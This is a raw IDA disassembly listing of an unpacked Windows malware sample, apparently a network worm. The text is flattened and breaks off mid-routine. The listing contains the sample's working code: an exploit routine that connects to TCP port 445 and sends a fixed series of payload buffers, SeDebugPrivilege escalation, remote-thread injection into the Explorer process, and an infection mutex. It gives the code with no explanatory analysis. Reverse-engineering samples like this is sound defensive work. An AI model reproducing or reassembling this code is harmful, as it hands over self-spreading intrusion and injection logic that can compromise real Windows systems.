; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : EDA205697139D0A006A66D099EFC2034 ; File Name : u:\work\eda205697139d0a006a66d099efc2034_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31500000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31501000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31501000 dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31501004 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31501008 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_3150100C dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHash ; sub_315028AE+FDr dword_31501010 dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31501014 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31501018 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_3150101C dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKeydword_31501020 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31501024 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31501028 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3150102C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_315023E4+1Dr dword_31501030 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31501034 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_315023E4+4Er ... dword_31501038 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownA align 10h dword_31501040 dd 7C830D74h, 7C80D262h; resolved to->KERNEL32.lstrcmpA ; sub_31503722:loc_31503968r ... dword_31501048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_315029C7+14Br dword_3150104C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_31503608+EDr dword_31501050 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTime ; sub_31503371+Ar dword_31501054 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_31501058 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_3150105C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31501060 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_31501064 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31501068 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_315029C7+3Fr ... dword_3150106C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; UPX0:31503448r ... dword_31501070 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31501074 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31501078 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3150107C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31501080 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31501084 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31501088 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_315026C2+8Fr ... dword_3150108C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventA ; sub_31502BE8+98r dword_31501090 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_31502BE8+C2r dword_31501094 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_315025F6+Fr dword_31501098 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_315028AE:loc_31502980r ... dword_3150109C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_315025F6+C3r dword_315010A0 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_315011C0+272r ... dword_315010A4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_31501A62+E2r ... dword_315010A8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_315029C7+69r ... dword_315010AC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_315010B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_315017AF+2Cr dword_315010B4 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_31501D96+ECr dword_315010B8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_315010BC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_31501911+19r ... dword_315010C0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31502490+92r dword_315010C4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31501D1Ar dword_315010C8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_315031EC+13r ... dword_315010CC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_315010D0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31501911+12r ... dword_315010D4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_315010D8 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_31502B4C+1Br dword_315010DC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_315010E0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_31501BA8+66r ... dword_315010E4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_31502128+3Fr ... dword_315010E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_315010EC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_315010F0 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_315029C7+83r ... align 8 dword_315010F8 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_315010FC dd 77C4CBE0h ; resolved to->MSVCRT.atandword_31501100 dd 77C4D444h ; resolved to->MSVCRT.sindword_31501104 dd 77C4CD34h ; resolved to->MSVCRT.cos; --------------------------------------------------------------------------- loc_31501108: ; DATA XREF: sub_31503A98r cmp [edi], ah retn 0FA77h ; DATA XREF: UPX0:loc_31503A92r ; --------------------------------------------------------------------------- db 27h, 0C2h, 77h dword_31501110 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31503722+B9r dword_31501114 dd 77C46030h ; resolved to->MSVCRT.strcpydword_31501118 dd 77C46040h ; resolved to->MSVCRT.strcat; --------------------------------------------------------------------------- loc_3150111C: ; DATA XREF: UPX0:loc_31503A80r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31501120 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_31502490+79r ... dword_31501124 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31501BA8:loc_31501C76r ... dword_31501128 dd 77C371BCh ; resolved to->MSVCRT.srand ; sub_31503371+5Dr dword_3150112C dd 77C46F70h ; resolved to->MSVCRT.memcpydword_31501130 dd 77C478A0h ; resolved to->MSVCRT.strlendword_31501134 dd 77C475F0h ; resolved to->MSVCRT.memset dd 0 dword_3150113C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31501A62+8Br ... dword_31501140 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31501144 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31501148 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessId align 10h dword_31501150 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlAdword_31501154 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_31501158 dd 42C2ABF4h ; resolved to->WININET.InternetReadFiledword_3150115C dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31502307r dd 0 dword_31501164 dd 71AB2DC0h ; resolved to->WS2_32.selectdword_31501168 dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_3150116C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31501170 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_31501F6B+7Ar ... dword_31501174 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_31501F6B+93r ... dword_31501178 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_31501F6B+B5r ... dword_3150117C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31501180 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31501184 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_31501188 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_315019F3+25r dword_3150118C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_31501BA8+ACr ... dword_31501190 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_31502277+Dr dword_31501194 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_31501BA8+F0r ... dword_31501198 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_31502DEC+46r dword_3150119C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31501A62+67r ... dword_315011A0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_315011C0+1D8r ... dword_315011A4 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31501A62+128r dword_315011A8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31501A62+12Fr ... align 10h dword_315011B0 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315011C0 proc near ; CODE XREF: sub_315020C4+36p ; sub_31502128+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31503A50 mov eax, dword_315059CC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_315059D0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3150118C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31501720 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31501190 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_315059C0 push eax call dword_3150113C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31501233: ; CODE XREF: sub_315011C0+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31501233 push 60h lea eax, [ebp+var_E4] push offset dword_315054E0 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31503A44 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31503A3E ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31503A44 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31503A38 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31503A38 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31501194 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31501198 ; connect cmp eax, 0FFFFFFFFh jz loc_31501716 mov esi, dword_315010A4 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3150119C push 89h push offset dword_315052C8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A8h push offset dword_31505354 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0DEh push offset dword_31505400 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp eax, 46h jl loc_3150170B cmp [ebp+var_730], 31h jnz loc_315015B6 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31503A38 ; memset add esp, 0Ch push offset byte_31505000 call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31503A44 ; memcpy mov eax, dword_31505906 add esp, 0Ch mov [ebp+var_798], eax loc_31501457: ; CODE XREF: sub_315011C0+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 68h push offset dword_31505544 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A0h push offset dword_315055B0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp [ebp+arg_0], 0 jz loc_315016A6 push 68h lea eax, [ebp+var_89E4] push offset dword_31505768 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31503A44 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_315057D4 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31503A44 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31505848 push eax call sub_31503A44 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_315016FE ; --------------------------------------------------------------------------- loc_315015B6: ; CODE XREF: sub_315011C0+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31503A38 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31505940 push eax call sub_31503A44 ; memcpy push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_315059B8 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31505940 push eax call sub_31503A44 ; memcpy add esp, 40h push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31501652: ; CODE XREF: sub_315011C0+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31501652 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31503A38 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31503A38 ; memset add esp, 18h jmp loc_31501457 ; --------------------------------------------------------------------------- loc_315016A6: ; CODE XREF: sub_315011C0+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31505654 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31503A44 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_315056D4 push eax call sub_31503A44 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_315016FE: ; CODE XREF: sub_315011C0+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_3150170B: ; CODE XREF: sub_315011C0+1ADj ; sub_315011C0+1E1j ... push 2 push [ebp+var_4] call dword_315011A4 ; shutdown loc_31501716: ; CODE XREF: sub_315011C0+166j push [ebp+var_4] call dword_315011A8 ; closesocket pop esi loc_31501720: ; CODE XREF: sub_315011C0+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_315011C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501727 proc near ; CODE XREF: UPX0:loc_31501D5Ap var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_315010B4 ; LoadLibraryA mov esi, dword_315010B0 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_315017AB push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_315017AB push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_315017AB lea eax, [ebp+var_C] push eax push 20h call dword_315010AC ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_315017AB: ; CODE XREF: sub_31501727+28j ; sub_31501727+37j ... pop edi pop esi leave retn sub_31501727 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315017AF proc near ; CODE XREF: UPX0:31501D6Ep var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, ds:dword_31506190 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_315010C4 ; GetModuleHandleA mov esi, dword_315010B0 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_315017F6 loc_315017F2: ; CODE XREF: sub_315017AF+54j push 1 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_315017F6: ; CODE XREF: sub_315017AF+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_315017F2 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31501144 ; FindWindowA test eax, eax jnz short loc_31501824 call dword_31501140 ; GetForegroundWindow test eax, eax jnz short loc_31501824 push 2 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_31501824: ; CODE XREF: sub_315017AF+65j ; sub_315017AF+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31501148 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_315010C0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_3150184A push 3 loc_31501847: ; CODE XREF: sub_315017AF+45j ; sub_315017AF+73j pop eax jmp short loc_315018B5 ; --------------------------------------------------------------------------- loc_3150184A: ; CODE XREF: sub_315017AF+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_315010BC test eax, eax jz short loc_315018A8 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_315010B8 ; WriteProcessMemory push ds:dword_31506164 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31501894 push eax call esi ; CloseHandle jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_31501894: ; CODE XREF: sub_315017AF+DEj push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov [ebp+var_4], 5 jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_315018A8: ; CODE XREF: sub_315017AF+B2j mov [ebp+var_4], 4 loc_315018AF: ; CODE XREF: sub_315017AF+E3j ; sub_315017AF+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_315018B5: ; CODE XREF: sub_315017AF+99j pop edi pop esi pop ebx leave retn sub_315017AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018BA proc near ; CODE XREF: sub_31501BA8+Bp ; UPX0:31501D30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_315010C8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_31501128 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_315018BA endp ; =============== S U B R O U T I N E ======================================= sub_315018E8 proc near ; CODE XREF: sub_315017AF+EAp ; UPX0:31501D3Ap ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_315010CC ; CreateMutexA retn sub_315018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018F7 proc near ; CODE XREF: sub_31501D96+145p ; sub_31501D96+150p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread pop ebp retn sub_315018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501911 proc near ; CODE XREF: sub_31501BA8+12Cp ; sub_31501D96+12Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread push eax call dword_315010BC ; CloseHandle pop ebp retn sub_31501911 endp ; =============== S U B R O U T I N E ======================================= sub_31501932 proc near ; CODE XREF: sub_31501F6B+26p ; sub_315025F6+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_3150195A loc_31501943: ; CODE XREF: sub_31501932+26j call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31501943 loc_3150195A: ; CODE XREF: sub_31501932+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31501932 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501962 proc near ; CODE XREF: sub_315029C7+16Bp ; sub_31503608+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31503A38 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_315010D4 ; CreateProcessA push [ebp+var_C] mov esi, dword_315010BC mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31501962 endp ; =============== S U B R O U T I N E ======================================= sub_315019B8 proc near ; CODE XREF: sub_31502DEC+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_31501184 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_315019D5 test esi, esi jnz short loc_315019E7 cmp byte ptr [edi], 30h jz short loc_315019EE loc_315019D5: ; CODE XREF: sub_315019B8+12j push edi call dword_31501188 ; gethostbyname test eax, eax jz short loc_315019E7 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_315019E7: ; CODE XREF: sub_315019B8+16j ; sub_315019B8+26j cmp esi, 0FFFFFFFFh jnz short loc_315019EE xor esi, esi loc_315019EE: ; CODE XREF: sub_315019B8+1Bj ; sub_315019B8+32j mov eax, esi pop edi pop esi retn sub_315019B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315019F3 proc near ; CODE XREF: sub_315021B0+3Ep ; sub_31502277+7p var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3150117C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31501A14 call dword_31501180 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31501A14: ; CODE XREF: sub_315019F3+15j lea eax, [ebp+var_34] push eax call dword_31501188 ; gethostbyname test eax, eax jnz short loc_31501A29 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31501A29: ; CODE XREF: sub_315019F3+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_315019F3 endp ; =============== S U B R O U T I N E ======================================= sub_31501A32 proc near ; CODE XREF: sub_315020C4+22p ; sub_31502128+27p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3150115C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31501A32 endp ; =============== S U B R O U T I N E ======================================= sub_31501A48 proc near ; CODE XREF: sub_31501D96+40p ; sub_31501D96+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_315010DC ; OpenEventA test eax, eax jz short locret_31501A61 push eax call dword_315010D8 ; SetEvent locret_31501A61: ; CODE XREF: sub_31501A48+10j retn sub_31501A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501A62 proc near ; DATA XREF: sub_31501BA8+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax 